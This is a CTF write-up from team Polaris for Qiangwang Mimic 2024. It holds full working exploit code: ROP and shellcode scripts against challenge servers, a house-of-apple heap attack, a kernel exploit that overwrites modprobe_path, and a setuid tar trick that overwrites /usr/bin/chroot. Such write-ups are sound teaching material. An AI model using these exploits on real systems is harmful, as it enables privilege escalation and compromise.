本次强网拟态 2024,我们Polaris战队排名第10。

Crypto

XOR

data = "0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914"
key = "mimic"

# 将十六进制字符串转为字节
byte_data = bytes.fromhex(data.replace(' ', ''))
byte_key = key.encode()

# 创建一个与数据等长的密钥流
key_stream = (byte_key * (len(byte_data) // len(byte_key) + 1))[:len(byte_data)]

# 执行异或操作
xor_result = bytes([b ^ k for b, k in zip(byte_data, key_stream)])

# 转换为ASCII字符串
ascii_result = xor_result.decode(errors='replace')  # 使用errors='replace'来处理无法解码的字符

print(ascii_result)

Pwn

ezcode

套json的直接shellcode,限制长度0x16,先实现0x16字节内的mprotect+read,后续写orw_shellcode

from pwn import *	
import json
context(log_level='debug',os='linux',arch='amd64')
pwnfile = './vuln'
io=process(pwnfile)
#io = remote()
elf = ELF(pwnfile)			
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF("./libc.so.6")

shellcode='''
sal edi,12
mov dx,7
mov ax,10
syscall

cdq
xor eax,eax
mov esi,ecx
xor edi,edi
syscall
'''

shellcode1 = asm(shellcode)
print("len-->",len(shellcode1))
payload1 = {
    "shellcode": shellcode1.hex()
}

io.sendlineafter("Please enter your input:",json.dumps(payload1))

shellcode = asm('''
    mov rdi,0x999800d
    xor esi,esi
    xor rdx,rdx
    mov rax,2
    syscall
    
    mov rdi,rax
    mov rsi,0x9998000+0x300
    mov edx,0x40
    xor eax,eax
    syscall
    
    mov edi,1
    mov rsi,0x9998000+0x300
    mov rax,1
    syscall
    ''')

io.sendline(b'./flag\x00\x00\x00'+shellcode)

io.interactive()

signin_revenge

栈溢出,no pie, no canary,构造ROP 泄露地址然后orw

from pwn import *		
context(log_level='debug',os='linux',arch='amd64')
pwnfile = './vuln'
#io=process(pwnfile)

io=remote("pwn-16255a8951.challenge.xctf.org.cn", 9999, ssl=True)
elf = ELF(pwnfile)			
libc = ELF("./libc.so.6")

def debug():
    gdb.attach(io)
    pause()

pop_rdi = 0x0000000000401393

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_adr = elf.symbols['main']
#debug()
pay = b'a'*0x108+flat(pop_rdi,puts_got,puts_plt,main_adr) 

io.sendlineafter("lets move and pwn!\n",pay)

puts_adr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_base = puts_adr-libc.sym['puts']

pop_rdx = libc_base + 0x0000000000142c92
pop_rsi = libc_base + 0x000000000002601f
pop_rbp = libc_base + 0x00000000000226c0
pop_rax = libc_base + 0x0000000000036174
leave_ret = 0x4012EE
read = 0x04012D6   #0x130
bss = 0x404000+0x800
flag_adr= bss+0x98

op = libc_base + libc.symbols['open']
re = libc_base + libc.symbols['read']
wr = libc_base + libc.symbols['write']

pay = b'a'*0x100+p64(bss-8)+flat(pop_rax,bss,read)
io.sendafter("lets move and pwn!\n",pay)
#debug()
orw = flat(pop_rdi,flag_adr,pop_rsi,0,op,
pop_rdi,3,pop_rsi,flag_adr+0x200,pop_rdx,0x100,re,
pop_rdi,1,pop_rsi,flag_adr+0x200,pop_rdx,0x40,wr)+b'./flag\x00'

io.sendline(orw)	

io.interactive()

QWEN

2b3cf38193ce3750b491914d11006e83

可以越界写到 memu 指针,和 0x20 字节。

然后是利用 后门 读 /proc/self/maps 获取内存信息,通过 libc_base 拿到两个 gadget

0x000000000004ee21 : pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret

0x00000000000d10be : xor eax, eax ; add rsp, 8 ; ret

劫持 menu 指针为 pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret,跳到 read 多写的 0x20 字节,执行 system(“/bin/sh”) 获取 shell

exp

from pwn import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = remote("pwn-bc7e9f0275.challenge.xctf.org.cn", 9999, ssl=True)
#p = process('pwn1')
elf = ELF('pwn1')
libc = ELF('libc.so.6')

#debug('b *$rebase(0x1022)\n')

for i in range(5):
    sla(b'\xbc\x89\xef\xbc\x9a', str(i) + ' 0')

pl = b'a'*0x8 + p16(0x1508)
sa(b'say?', pl)

sla(b'game [Y/N]', b'N')

sla(b'\xbc\x89\xef\xbc\x9a', '111 111')

sla(b'administrator key\n', str(0x6b8b4567))

file_name = b'/proc/self/maps'

sla(b'logged in!\n', file_name)

rl(b'The debugging information is as follows >>\n')
pro_base = int(r(12), 16)
rl(b'libc.so.6\n')
libc_base = int(r(12), 16) - 0x1e7000
lg('pro_base', pro_base)
lg('libc_base', libc_base)

for i in range(5):
    sla(b'\xbc\x89\xef\xbc\x9a', str(i) + ' 0')

# 0x000000000004ee21 : pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret
# 0x00000000000d10be : xor eax, eax ; add rsp, 8 ; ret
rdi = libc_base + 0x000000000002164f
system, binsh = get_sb()
ret = libc_base + 0x00000000000008aa

one_gadget = libc_base + 0x000000000004ee21
pl = p64(libc_base + 0x00000000000d10be) + p64(one_gadget) + p64(ret) + p64(rdi) + p64(binsh) + p64(system)

sa(b'say?', pl)
sla(b'game [Y/N]', b'N')
sla(b'\xbc\x89\xef\xbc\x9a', '111 111111111111111111111')

lg('pro_base', pro_base)
lg('libc_base', libc_base)
#pause()

inter()

然后是提权。

靶机上的 pwn2 可以进行 tar 解压,拥有 s 权限,并且 -x 如果指向一个不存在的文件,可以进行文件创建和解压,利用该功能进行 tar 伪造,进行文件解压覆写。

比如

/home/pwn2 -x test.tar

就会要求输入 base64,输入本地生成的 tar 包即可

由于 docker 题目中通常利用 xinetd ,并且查看 xinetd 的配置文件,是利用 /usr/bin/chroot 进行 root 到 ctf 用户的切换,所以修改 /usr/bin/chroot 为 chmox 777 /home/ctf/flag ,同时用另外终端 nc 后,触发 chroot 指向,即可修改 flag 权限读取

signin

add函数中有一个0_o函数里是跟signin_revenge相同的栈溢出,直接利用这个打orw即可

from pwn import *
import ctypes
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')

file_name = './vuln'
libc = ELF('./libc.so.6')


#libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
#libc.srand.argtypes = [ctypes.c_uint]


li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote("pwn-c9b9d9e4e9.challenge.xctf.org.cn", 9999, ssl=True)
else:
    r = process(file_name)

libcc = cdll.LoadLibrary('./libc.so.6')
libcc.srand(libcc.time(0))
elf = ELF(file_name)

def dbg():
    gdb.attach(r)
    pause()	
def dbgg():
    raw_input()

r.send('rbp')
for i in range(100):
    a= libcc.rand()%100+1
    r.sendafter('Input the authentication code:\n',p64(a))
r.sendafter('>> \n', p32(1))
#dbg()
r.sendafter('Index: \n', p32(0))

r.sendafter('Note: \n', b'a'*0x10)
sleep(0.5)
r.send(b'a'*0x108+p64(0x401893)+p64(0x404028)+p64(0x401110)+p64(0x4013C0))

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
openn =  libc_base+libc.sym['open']
read =  libc_base+libc.sym['read']
write =  libc_base+libc.sym['write']
rdi = libc_base + 0x0000000000023b6a
rsi = libc_base + 0x000000000002601f
rdx = libc_base + 0x0000000000142c92
print(hex(libc_base))
r.send(b'a'*0x108+p64(rsi)+p64(0x404180)+p64(read)+p64(0x4013C0))
r.send('flag')
sleep(0.5)
r.send(b'a'*0x100+p64(0x404200)+p64(0x4013CF))
sleep(0.5)
r.send(b'a'*0x100+p64(0x404300)+p64(0x4013CF))
sleep(0.5)
#dbg()
r.send(b'flag\x00\x00\x00\x00'+p64(rdi)+p64(0x404200)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(openn)+p64(rdi)+p64(3)+p64(rsi)+p64(0x4041a0)+p64(rdx)+p64(0x30)+p64(read)+p64(rdi)+p64(1)+p64(write))

r.interactive()

guest book

菜单堆程序中有uaf且申请大小限制为0x4ff以上,没有其他限制,那么直接套板子打house of apple即可

from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
flag = 1

if flag:
    p = remote("pwn-ca43b7414f.challenge.xctf.org.cn", 9999, ssl=True)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg():
    gdb.attach(p)
    pause()
def cmd(choice):
    ru(">")
    sl(str(choice))

def add(index,size):
    cmd(1)
    ru("index")
    sl(str(index))
    ru("size")
    sl(str(size))

def edit(index,content):
    cmd(2)
    ru("index")
    sl(str(index))
    ru("content")
    sd(content)

def delete(index):
    cmd(3)
    ru("index")
    sl(str(index))

def show(index):
    cmd(4)
    ru("index")
    sl(str(index))


add(0,0x520)
add(1,0x500)
add(2,0x510)

delete(0)
add(3,0x568)
delete(2)

show(0)
mainarean = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=mainarean-0x21b110

edit(0,b'A'*0x10)
show(0)
ru(b'A'*0x10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290

edit(0,p64(mainarean)*2)

free_hook = libc_base+libc.sym['__free_hook']
ogs=[0xe3afe,0xe3b01,0xe3b04]
og=libc_base+ogs[1]
puts_io_all = libc_base + libc.sym['_IO_list_all']  
wfile = libc_base + libc.sym['_IO_wfile_jumps']
addr=libc.symbols['puts']+libc_base
fake_io_addr = heap_base + 0x1720
lock =0x3ed8b0+libc_base
pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
r12 =  libc_base + next(libc.search(asm('pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
open_addr=libc.symbols['open']+libc_base
read_addr=libc.symbols['read']+libc_base
write_addr=libc.symbols['write']+libc_base
puts_addr=libc.symbols['puts']+libc_base
setcontext=libc_base+0x0000000000151990
io_all = libc_base + libc.sym['_IO_list_all']  
wfile = libc_base + libc.sym['_IO_wfile_jumps']   
magic_gadget = libc_base + + 0x154ff0 +26#0x154dd0 +26# + libc.sym['svcudp_reply'] + 0x1a
#edit(0,'./ctfshow_flag\x00')
orw_addr=heap_base+0x14b0
flag_addr = heap_base+0x260
sh_addr = heap_base+0x7d0
system=libc_base+libc.sym['system']
pl=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(fake_io_addr+0x10) #chunk0+0x48
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile) 
pl+=p64(0)*0x14+p64(fake_io_addr+0x120+0x70+0xa0-0x68)        #chunk0+0xe0
pl+=p64(0)*0xd+p64(system)
'''
pl1=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20)
pl1+=p64(0)*2+p64(0)+p64(fake_io_addr+0x10) #chunk0+0x48
pl1+=p64(0)*4
pl1+=p64(0)*3+p64(lock)
pl1+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0)
pl1+=p64(0)*4
pl1+=p64(0)+p64(wfile) 
pl1+=p64(0)*0x1c+p64(fake_io_addr+0xe0+0xe8)        #chunk0+0xe0
pl1+=p64(0)*0xd+p64(system)
'''
#add(3)
print(hex(libc_base))
print(hex(heap_base))
add(4,0x510)
add(5,0x520)

add(6,0x558)
add(7,0x558)
add(8,0x548)
add(9,0x548)
delete(6)
add(10,0x598)
delete(8)
edit(6,pl)
edit(3,b'\x00'*0x560+b'  sh;\x00\x00\x00')
add(8,0x5f0)
add(9,0x540)
dbg()
p.sendline('5')


p.interactive()

ker

exp如下

/*
Pwned by XiaozaYa (:
0x40 GFP_KERNEL; 一次 double free,一次 UAF edit,close时会将 chunk置空所以等价于无限次 add
    LEAK:
        open-add 0x40 chunk0
        第一次 free chunk0
        堆喷 user_key_payload占据 chunk0
        第二次 free chunk0
        close-open-add堆喷占据 chunk0并修改 datalen实现越界读
        利用 user_key_payload越界读去 leak kbase/koffset等信息
    USMA:
        释放 user_key_payload即释放 chunk0
        分配 pgv占据 chunk0
        利用一次 UAF edit修改 pgv[0]为 modprobe_path所在页面
        USMA修改 modprobe_path即可
*/

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
 
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
//#include <ctype.h>
#include <pthread.h>
//#include <sys/types.h>
//#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <arpa/inet.h>  // 添加 htons 函数的头文件
#include <net/if.h>     // 添加 if_nametoindex 函数的头文件


void err_exit(char *msg)
{
    perror(msg);
    sleep(2);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
/*
void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}
*/
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen, 
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

int fd;
typedef struct {
    char *buf;
} request;

void delete(char *buf) {
    request req = { .buf = buf };
    if (ioctl(fd, 0x30, &req) < 0) {
        err_exit("Failed to delete chunk");
    }
}

void edit(char *buf) {
    request req = { .buf = buf };
    if (ioctl(fd, 0x50, &req) < 0) {
        err_exit("FAILED to edit chunk");
    }
}

void allocate(char *buf) {
    request req = { .buf = buf };
    if (ioctl(fd, 0x20, &buf) < 0) {
        err_exit("Failed to allocate chunk");
    }
}


void start() {
    fd = open("/dev/ker", O_RDWR);
    if (fd == 0) {
        err_exit("FAILED to open dev file");
    }
}

uint64_t maybe_leak[] = {
  	0xffffffff8236ca40,
  	0xffffffffc0203000,
  	0xffffffff82711453,
  	0xffffffff811b6530,
  	0xffffffff81d5d210,
  	0xffffffff81d5d240,
  	0xffffffff810da8f1,
    0xffffffff8274c13e,
  	0xffffffffc0203210,
    0xffffffff8236ca40,
  	0xffffffff81d5d250,
  	0xffffffff81d5d290,
  	0xffff888006f71198,
  	0xffffffffc0205000,
  	0xffffffff811b6530,
  	0xffffffffc0201000,
  	0xffffffff811b6530,
  	0xffffffff82726c9a,
  	0xffffffff822528e0,
  	0xffffffff8335d900,
  	0xffffffff8272d9cf,
  	0xffffffff82252820,
  	0xffffffff83301560,
    0xffffffff812ecf50,
    0xffffffff832af780,
    0xffffffff81d5d210,
    0xffffffff81d5d240,
    0xffffffff84751b80,
    0xffffffff810da8f1,
    0xffffffff8199f0ad,
  	0xffffffff83301500,
  	0xffffffff82252820,
  	0xffffffff82775856,
  	0xffffffff82252580,
};

uint64_t check_leak(uint64_t addr) {
    uint64_t res = -1;
    for (int i = 0; i < sizeof(maybe_leak) / sizeof(uint64_t); i++) {
        if (((addr&0xffffffff00000000) == 0xffffffff00000000) && ((maybe_leak[i]&0xfff) == (addr&0xfff))) {
            res = addr - maybe_leak[i];
            break;
        }
    }
    return res;
}

void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
        err_exit("FAILED to create a new namespace");

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);
   
    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1);
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) puts("socket(AF_PACKET)"), exit(-1);
    
    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);
    
    return s;
}
// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}


void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

uint64_t modp = 0xffffffff831d8ce0;
uint64_t koffset = -1;
int evil_id = -1;
int orgi_id = -1;
int main(int argc, char** argv, char** envp)
{
    bind_core(0);
//	int pipe_fd[2];
//	pipe(pipe_fd);
//	pid_t pid = fork();
//
//if (!pid) {
    unshare_setup();
    #define SPRAY_KEYS 0x80
    char buf[0x1000] = { 0 };
    int key_id[SPRAY_KEYS] = { 0 };
    char desc[0x100] = { 0 };
    int res = -1;
    start();
    allocate(buf);
    delete(buf);
    for (int i = 0; i < SPRAY_KEYS; i++) {
        sprintf(desc, "XiaozaYa-%d\n", i);
        memset(buf, 'A', 0x40);
        *(int64_t*)(buf) = i;
        key_id[i] = key_alloc(desc, buf, 30);
//		if (key_id[i] <= 0) {
//			err_exit("Failed to key_alloc");
//		}
    }

    delete(buf);
//	for (int i = SPRAY_KEYS / 2; i < SPRAY_KEYS; i++) {
//		key_revoke(key_id[i]);
//		key_unlink(key_id[i]);
//	}

    /*
    for (int i = 0; i < SPRAY_KEYS / 2; i++) {
        memset(buf, 0, sizeof(buf));
        key_read(key_id[i], buf, 30);
        if (*(uint64_t*)buf != i) {
            evil_id = *(uint64_t*)buf;
            orgi_id = i;
            info("hit");
            binary_dump("READ DATA", buf, 30);
            break;
        }
    }
    */
    sleep(1);

while (1) {
    memset(buf, 'B', sizeof(buf));
    *(uint64_t*)(buf + 0x00) = 0;
    *(uint64_t*)(buf + 0x08) = 0;
    *(uint64_t*)(buf + 0x10) = 0x1000-0x40;
    close(fd);
    start();
    allocate(buf);

    for (int i = 0; i < SPRAY_KEYS; i++) {
        memset(buf, '\x00', sizeof(buf));
        res = key_read(key_id[i], buf, 0x1000-0x40); 
//		printf("[+] Read Length: %d\n", res);
//		binary_dump("LEAK DATA", buf, 30);
        if (res > 30) {
            evil_id = i;
            goto HIT;
        }
    }
}
HIT:

//	hexx("evil_id", evil_id);

    for (int i = 0; i < SPRAY_KEYS; i++) {
        if (i != evil_id) {
            key_revoke(key_id[i]);
            key_unlink(key_id[i]);
        }
    }

    sleep(2);
    memset(buf, '\x00', sizeof(buf));
    res = key_read(key_id[evil_id], buf, 0x1000-0x40);
//	binary_dump("LEAK DATA", buf, res);
    
    for (int i = 0; i < res; i+=8) {
        uint64_t addr = *(uint64_t*)(buf + i);
//		hexx("addr", addr);
        koffset = check_leak(addr);
        if (koffset != -1) {
            break;
        }
    }
    modp += koffset;
//	hexx("koffset", koffset);
//	hexx("modp", modp);

    int nr = 0x40 / 8;
    memset(buf, '\x00', sizeof(buf));
    *(uint64_t*)(buf + 0x00) = modp & ~0xfff;
    key_revoke(key_id[evil_id]);
//	key_unlink(key_id[evil_id]);
    sleep(1);
    int packet_fd = pagealloc_pad(nr, 0x1000);
    edit(buf);
    
    char *page = NULL, *modprobe_path = NULL;
    page = mmap(NULL, 0x1000*nr, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
//	if ((uint64_t)page == -1) {
//		err_exit("mmap");
//	}

    modprobe_path = page + (modp & 0xfff);
//	if (!strcmp(modprobe_path, "/sbin/modprobe")) {
//		info("success");
        strcpy(modprobe_path, "/tmp/x");
       		munmap(page, 0x1000*nr);
        get_flag();
//	} 


//} else if (pid < 0) {
//	err_exit("fork");
//} else {
//	char buf[1] = { 0 };
//	read(pipe_fd[0], buf, 1);

//	puts("Debug");
//	getchar();
//	puts("[+] EXP NERVER END");
//}
    return 0;
}

Re

easyre

花指令混淆,但是由于程序不大,可以动调确认逻辑,最后直接手撕即可

#include<stdio.h>

unsigned char key[] =
{
  0xDB, 0xD9, 0x6F, 0xEF, 0xD3, 0x73, 0xC2, 0xD2, 0x12, 0xE4,
  0x97, 0x6F, 0x24, 0xD6, 0xBF, 0x72
};

unsigned int* key_p=(unsigned int *)key;

#include <stdio.h>  
#include <stdint.h>  
  
  
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {  
    unsigned int i;  
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;  
    for (i=0; i < num_rounds; i++) {  
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);  
        sum += delta;  
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);  

    }  
    v[0]=v0; v[1]=v1;  
}  
  
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {  
    unsigned int i;  
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;  
    for (i=0; i < num_rounds; i++) {  
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);  
        sum -= delta;  
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);  
    }  
    v[0]=v0; v[1]=v1;  
}

int main()
{

    unsigned char pl[] =
    {
     161,227,81,152,134,86,118,73,111,107,43,129,207,206,18,150,162,112,53,60,49,98,92,241,250,119,107,170,158,109,5,190,232,36,164,248,219,35,58,11,22,32,204,3,173,181,43,169,52,159,120,29,46,185,249,158
    };
    decipher(0x66,pl,key_p);
    decipher(0x66,pl+8,key_p);
    decipher(0x66,pl+8+8,key_p);
    decipher(0x66,pl+8+16,key_p);
    decipher(0x66,pl+8+16+8,key_p);
    decipher(0x66,pl+8+16+16,key_p);
    decipher(0x66,pl+8+16+16+8,key_p);
    for(int i=0;i<0x38;i++){
        pl[i]=(0x3f-pl[i])&0xff;
    }
    for(int i=0;i<0x38;i++){
        printf("%c",pl[i]);
    }
    printf("\n");
}

babyre

直接丢入ida分析,输入uuid后做aes加密,然后转二进制字符串后做一个验证,验证并不是直接比较因此有些麻烦,但可以通过爆破直接恢复,一个个字节爆破即可

#include <iostream>
#include"ida.h"

__int64 __fastcall check(__int64 a1)
{
    int v1; // r8d
    int v2; // ecx
    int v3; // ecx
    int v5; // [rsp+8h] [rbp-38h]
    int v6; // [rsp+Ch] [rbp-34h]
    int v7; // [rsp+10h] [rbp-30h]
    int v8; // [rsp+14h] [rbp-2Ch]
    int v9; // [rsp+18h] [rbp-28h]
    int v10; // [rsp+1Ch] [rbp-24h]
    int v11; // [rsp+20h] [rbp-20h]
    int v12; // [rsp+24h] [rbp-1Ch]
    int v13; // [rsp+28h] [rbp-18h]
    int v14; // [rsp+2Ch] [rbp-14h]
    int v15[2]; // [rsp+30h] [rbp-10h]
    int i; // [rsp+38h] [rbp-8h]
    unsigned int v17; // [rsp+3Ch] [rbp-4h]

    v17 = 1;
    for (i = 0; i <= 0; ++i)
    {
        v15[1] = *(_DWORD*)(48LL * i + a1);
        v15[0] = *(_DWORD*)(48LL * i + a1 + 4);
        v14 = *(_DWORD*)(48LL * i + a1 + 8);
        v13 = *(_DWORD*)(48LL * i + a1 + 12);
        v12 = *(_DWORD*)(48LL * i + a1 + 16);
        v11 = *(_DWORD*)(48LL * i + a1 + 20);
        v10 = *(_DWORD*)(48LL * i + a1 + 24);
        v9 = *(_DWORD*)(48LL * i + a1 + 28);
        v8 = *(_DWORD*)(48LL * i + a1 + 32);
        v7 = *(_DWORD*)(48LL * i + a1 + 36);
        v6 = *(_DWORD*)(48LL * i + a1 + 40);
        v5 = *(_DWORD*)(48LL * i + a1 + 44);
        v1 = (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v9 & (v11 == 0) & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15[0] | v15[1]) == 0) & (v10 == 0) & (v6 == 0) | (unsigned __int8)v7 & (unsigned __int8)v9 & (unsigned __int8)v11 & (v13 == 0) & (v14 == 0) & v15[1] & (v15[0] == 0) & (v12 == 0) & (v10 == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (unsigned __int8)(v14 & v15[0] & LOBYTE(v15[1])) & (v13 == 0) & (v7 == 0);
